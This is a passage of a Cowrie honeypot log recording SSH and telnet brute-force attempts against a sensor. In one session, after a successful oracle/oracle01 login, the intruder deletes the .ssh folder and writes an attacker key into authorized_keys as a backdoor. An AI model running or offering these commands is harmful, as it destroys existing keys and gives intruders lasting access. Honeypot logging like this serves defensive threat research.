{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":58376,"dst_ip":"159.203.135.109","dst_port":23,"session":"08335e8e6b3e","protocol":"telnet","message":"New connection: 111.119.202.27:58376 (159.203.135.109:23) [session: 08335e8e6b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:37.628145Z"}
{"eventid":"cowrie.session.closed","duration":0.007897377014160156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:37.635885Z","src_ip":"111.119.202.27","session":"08335e8e6b3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":48340,"dst_ip":"10.17.0.5","dst_port":22,"session":"e550e2a85b67","protocol":"ssh","message":"New connection: 103.15.226.202:48340 (10.17.0.5:22) [session: e550e2a85b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:41.744295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:41.748675Z","src_ip":"103.15.226.202","session":"e550e2a85b67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:42.000592Z","src_ip":"103.15.226.202","session":"e550e2a85b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:42.732041Z","src_ip":"103.15.226.202","session":"e550e2a85b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:43.981430Z","src_ip":"103.15.226.202","session":"e550e2a85b67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":40506,"dst_ip":"10.17.0.5","dst_port":22,"session":"32bd63d29efd","protocol":"ssh","message":"New connection: 101.36.119.184:40506 (10.17.0.5:22) [session: 32bd63d29efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:45.708861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:45.720863Z","src_ip":"101.36.119.184","session":"32bd63d29efd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:45.938651Z","src_ip":"101.36.119.184","session":"32bd63d29efd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx!","message":"login attempt [ubuntu/1qaz2wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:46.832423Z","src_ip":"101.36.119.184","session":"32bd63d29efd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00168991088867,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:47.192599Z","src_ip":"111.119.202.27","session":"2e42fc967c60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:48.050259Z","src_ip":"101.36.119.184","session":"32bd63d29efd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.399829387664795,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:51.517681Z","src_ip":"111.119.202.27","session":"d9699bc61dda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":33984,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f33844b0767","protocol":"telnet","message":"New connection: 111.119.202.27:33984 (159.203.135.109:23) [session: 7f33844b0767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:58.749177Z"}
{"eventid":"cowrie.session.closed","duration":0.004627227783203125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:40:58.753684Z","src_ip":"111.119.202.27","session":"7f33844b0767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.00052738189697,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:15.837873Z","src_ip":"212.55.149.117","session":"e12c0607a83a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":21912,"dst_ip":"10.17.0.5","dst_port":23,"session":"46d1f8060c48","protocol":"telnet","message":"New connection: 212.55.149.117:21912 (10.17.0.5:23) [session: 46d1f8060c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:35.074452Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":56890,"dst_ip":"10.17.0.5","dst_port":22,"session":"856a0b6273ac","protocol":"ssh","message":"New connection: 101.36.119.184:56890 (10.17.0.5:22) [session: 856a0b6273ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:36.593079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:36.597575Z","src_ip":"101.36.119.184","session":"856a0b6273ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:36.816820Z","src_ip":"101.36.119.184","session":"856a0b6273ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nospam","message":"login attempt [admin/nospam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:37.711567Z","src_ip":"101.36.119.184","session":"856a0b6273ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:38.929027Z","src_ip":"101.36.119.184","session":"856a0b6273ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":39882,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bb43612ca0e","protocol":"telnet","message":"New connection: 111.119.202.27:39882 (159.203.135.109:23) [session: 8bb43612ca0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:39.831205Z"}
{"eventid":"cowrie.session.closed","duration":0.00523066520690918,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:39.836317Z","src_ip":"111.119.202.27","session":"8bb43612ca0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":39898,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bf7e2a20c89","protocol":"telnet","message":"New connection: 111.119.202.27:39898 (159.203.135.109:23) [session: 5bf7e2a20c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:43.951201Z"}
{"eventid":"cowrie.session.closed","duration":0.004783153533935547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:43.955866Z","src_ip":"111.119.202.27","session":"5bf7e2a20c89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":59142,"dst_ip":"10.17.0.5","dst_port":22,"session":"55479a99792c","protocol":"ssh","message":"New connection: 2.57.122.210:59142 (10.17.0.5:22) [session: 55479a99792c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:57.728394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:57.754776Z","src_ip":"2.57.122.210","session":"55479a99792c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:57.890979Z","src_ip":"2.57.122.210","session":"55479a99792c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"validator","message":"login attempt [solana/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:58.434835Z","src_ip":"2.57.122.210","session":"55479a99792c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:41:59.612210Z","src_ip":"2.57.122.210","session":"55479a99792c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":49322,"dst_ip":"159.203.135.109","dst_port":23,"session":"947a7813297f","protocol":"telnet","message":"New connection: 111.119.202.27:49322 (159.203.135.109:23) [session: 947a7813297f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:00.743114Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":18276,"dst_ip":"10.17.0.5","dst_port":22,"session":"55ee254bef2c","protocol":"ssh","message":"New connection: 101.36.119.184:18276 (10.17.0.5:22) [session: 55ee254bef2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:27.744130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:27.748296Z","src_ip":"101.36.119.184","session":"55ee254bef2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:27.964481Z","src_ip":"101.36.119.184","session":"55ee254bef2c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle01","message":"login attempt [oracle/oracle01] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:28.879064Z","src_ip":"101.36.119.184","session":"55ee254bef2c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:29.379350Z","src_ip":"101.36.119.184","session":"55ee254bef2c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:29.382648Z","src_ip":"101.36.119.184","session":"55ee254bef2c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:29.386306Z","src_ip":"101.36.119.184","session":"55ee254bef2c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:29.605828Z","src_ip":"101.36.119.184","session":"55ee254bef2c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:30.086910Z","src_ip":"101.36.119.184","session":"55ee254bef2c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:30.090699Z","src_ip":"101.36.119.184","session":"55ee254bef2c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:30.313840Z","src_ip":"101.36.119.184","session":"55ee254bef2c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:30.317940Z","src_ip":"101.36.119.184","session":"55ee254bef2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":19018,"dst_ip":"10.17.0.5","dst_port":22,"session":"2019bf047309","protocol":"ssh","message":"New connection: 101.36.119.184:19018 (10.17.0.5:22) [session: 2019bf047309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:30.528095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:42:30.533335Z","src_ip":"101.36.119.184","session":"2019bf047309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@open